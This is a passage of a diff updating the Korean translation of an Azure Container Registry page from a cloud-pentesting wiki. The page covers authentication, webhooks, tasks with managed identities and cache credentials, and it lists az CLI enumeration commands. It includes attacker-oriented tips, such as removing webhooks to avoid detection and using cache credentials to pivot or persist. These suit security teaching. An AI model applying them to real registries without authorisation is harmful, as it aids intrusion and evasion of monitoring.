있지만 enable한 후에는 registry에 대한 full permission을 가진 admin account의 **username** 및 **password**로 registry에 액세스할 수 있습니다. 일부 Azure services가 이를 사용하기 때문에 여전히 지원됩니다. 이 user에 대해 **2개의 password**가 생성되며 둘 다 유효합니다. `az acr update -n --admin-enabled true`를 사용하여 enable할 수 있습니다. username은 일반적으로 registry name이며 `admin`이 아닙니다. +- **token 사용**: registry에 액세스할 수 있도록 **specific `scope map`** (permission)을 가진 **token**을 생성할 수 있습니다. 그런 다음 token name을 username으로 사용하고 생성된 password 중 하나를 사용하여 `docker login -u -p `로 registry에 인증할 수 있습니다. +- **Service Principal 사용**: **service principal**을 생성하고 image pull을 위해 **`AcrPull`**과 같은 role을 할당할 수 있습니다. 그런 다음 SP appId를 username으로 사용하고 생성된 secret을 password로 사용하여 **registry에 login**할 수 있습니다. -registry에 access할 수 있는 SP를 생성하는 [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal)의 example script: +registry에 대한 액세스 권한이 있는 SP를 생성하는 [문서](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal)의 example script: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app echo "Service principal ID: $USER_NAME" echo "Service principal password: $PASSWORD" ``` -### Encryption +### 암호화 -**Premium SKU**만 이미지와 기타 artifact에 대한 **encryption at rest**를 지원합니다. +**Premium SKU**만 이미지 및 기타 artifact에 대한 **encryption at rest**를 지원합니다. -### Networking +### 네트워킹 -**Premium SKU**만 **private endpoints**를 지원합니다. 다른 것들은 **public access**만 지원합니다. public endpoint의 형식은 `.azurecr.io`이고 private endpoint의 형식은 `.privatelink.azurecr.io`입니다. 이 이유로 registry 이름은 모든 Azure에서 unique해야 합니다. +**Premium SKU**만 **private endpoint**를 지원합니다. 다른 SKU는 **public access**만 지원합니다. public endpoint의 형식은 `.azurecr.io`이고 private endpoint의 형식은 `.privatelink.azurecr.io`입니다. 따라서 registry 이름은 모든 Azure에서 고유해야 합니다. ### Microsoft Defender for Cloud -이를 통해 registry의 이미지에서 **vulnerabilities**를 **scan**할 수 있습니다. +이를 사용하면 registry의 **image를 scan**하여 **vulnerability**를 확인할 수 있습니다. ### Soft-delete -**soft-delete** 기능을 사용하면 지정된 일수 내에 **deleted registry를 recover**할 수 있습니다. 이 기능은 **기본적으로 disabled**되어 있습니다. +**soft-delete** 기능을 사용하면 지정된 일수 이내에 **삭제된 registry를 복구**할 수 있습니다. 이 기능은 기본적으로 **비활성화**되어 있습니다. ### Webhooks -registry 안에 **webhooks**를 **create**할 수 있습니다. 이 webhook에서는 **push 또는 delete action이 수행될 때마다 request가 전송될 URL**을 지정해야 합니다. 또한 Webhooks는 영향을 받을 repositories(images)를 지정하는 scope를 나타낼 수 있습니다. 예를 들어, 'foo:\*'는 repository 'foo' 아래의 events를 의미합니다. +registry 내부에 **webhook을 생성**할 수 있습니다. 이 webhook에는 **push 또는 delete action이 수행될 때마다 request가 전송될 URL**을 지정해야 합니다. 또한 Webhook은 영향을 받을 repository(image)를 지정하는 scope를 설정할 수 있습니다. 예를 들어 `'foo:\*'`는 repository `'foo'` 아래에서 발생하는 event를 의미합니다. -attacker 관점에서 이는 registry에서 **any action을 수행하기 전에** 이를 확인하고, 필요한 경우 일시적으로 제거하여 detection을 피하는 것이 중요합니다. +공격자의 관점에서는 registry에서 **action을 수행하기 전에** 이를 확인하고, 탐지를 피하기 위해 필요한 경우 일시적으로 제거하는 것이 중요합니다. ### Connected registries -이는 기본적으로 한 registry의 images를 다른 registry로 **mirror**할 수 있게 해주며, 보통 on-premises에 위치합니다. +이는 기본적으로 한 registry의 **image를 다른 registry로 mirror**할 수 있도록 하며, 일반적으로 다른 registry는 on-premises에 위치합니다. -이것은 2가지 mode가 있습니다: **ReadOnly**와 **ReadWrite**입니다. 첫 번째에서는 images가 source registry에서만 **pulled**되고, 두 번째에서는 images를 source registry로 **pushed**할 수도 있습니다. +두 가지 mode가 있습니다: **ReadOnly**와 **ReadWrite**. 첫 번째 mode에서는 source registry에서 image를 **pull**하기만 하며, 두 번째 mode에서는 source registry로 image를 **push**할 수도 있습니다. -clients가 Azure에서 registry에 access할 수 있도록, connected registry가 사용될 때 **token**이 생성됩니다. +client가 Azure에서 registry에 액세스하려면 connected registry가 사용될 때 **token**이 생성됩니다. ### Runs & Tasks -Runs & Tasks를 사용하면 일반적으로 로컬이나 CI/CD pipeline에서 해야 했던 Azure container 관련 action을 실행할 수 있습니다. 예를 들어, registry에서 images를 **build, push, and run**할 수 있습니다. +Runs & Tasks를 사용하면 일반적으로 로컬이나 CI/CD pipeline에서 수행해야 하는 container 관련 action을 Azure에서 실행할 수 있습니다. 예를 들어 **registry에서 image를 build, push 및 run**할 수 있습니다. -container를 build하고 run하는 가장 쉬운 방법은 regular Run을 사용하는 것입니다: +container를 build하고 run하는 가장 쉬운 방법은 일반적인 Run을 사용하는 것입니다: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -그러나, 그렇게 하면 managed identity가 연결되어 있지 않기 때문에 공격자 관점에서 그다지 흥미롭지 않은 runs가 트리거됩니다. +하지만 이로 인해 attacker 관점에서는 그다지 흥미롭지 않은 실행이 발생합니다. 해당 실행에는 연결된 managed identity가 없기 때문입니다. -하지만 **tasks**는 **system and user managed identity**를 연결할 수 있습니다. 이 tasks가 컨테이너에서 **privileges를 escalate**하는 데 유용한 것입니다. privileges escalation 섹션에서 tasks를 사용해 privileges를 escalate하는 방법을 확인할 수 있습니다. +그러나 **tasks**에는 **system 및 user managed identity**를 연결할 수 있습니다. 이러한 tasks는 컨테이너에서 **권한 상승**에 유용합니다. 권한 상승 섹션에서는 tasks를 사용하여 권한을 상승시키는 방법을 확인할 수 있습니다. ### Cache -cache 기능은 **external repository**에서 이미지를 **download**하고, 새 버전을 registry에 저장할 수 있게 합니다. 이를 위해 Azure Vault에서 credentials를 선택하여 일부 **credentials**를 구성해야 합니다. +Cache 기능을 사용하면 **외부 repository에서 이미지를 다운로드**하고 registry에 새 버전을 저장할 수 있습니다. 이를 위해서는 Azure Vault에서 credentials를 선택하여 **일부 credentials를 구성**해야 합니다. -이는 공격자 관점에서 매우 흥미로운데, 공격자가 credentials에 접근할 수 있을 만큼 충분한 permissions를 가지고 있다면 **external platform으로 pivot**할 수 있고, **external repository에서 images를 download**하는 것과 cache를 구성하는 것도 **persistence mechanism**으로 사용할 수 있기 때문입니다. +이는 attacker 관점에서 매우 흥미롭습니다. attacker가 credentials에 액세스할 수 있는 충분한 권한을 가지고 있다면 **외부 platform으로 pivot**할 수 있기 때문입니다. 또한 **외부 repository에서 이미지를 다운로드**하고 cache를 구성하는 것은 **persistence mechanism**으로도 사용될 수 있습니다. ## Enumeration > [!WARNING] -> registry 이름에 대문자가 포함되어 있어도, 접근할 때는 url에 소문자만 사용해야 한다는 점이 매우 중요합니다. +> registry 이름에 대문자가 포함되어 있더라도 해당 registry에 액세스하는 url에서는 소문자만 사용해야 한다는 점이 매우 중요합니다. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,7 +143,7 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## 인증되지 않은 접근 +## 인증되지 않은 액세스 {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md @@ -155,7 +155,11 @@ az acr cache show --name --registry ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} -## References +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + +## 참고 자료 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)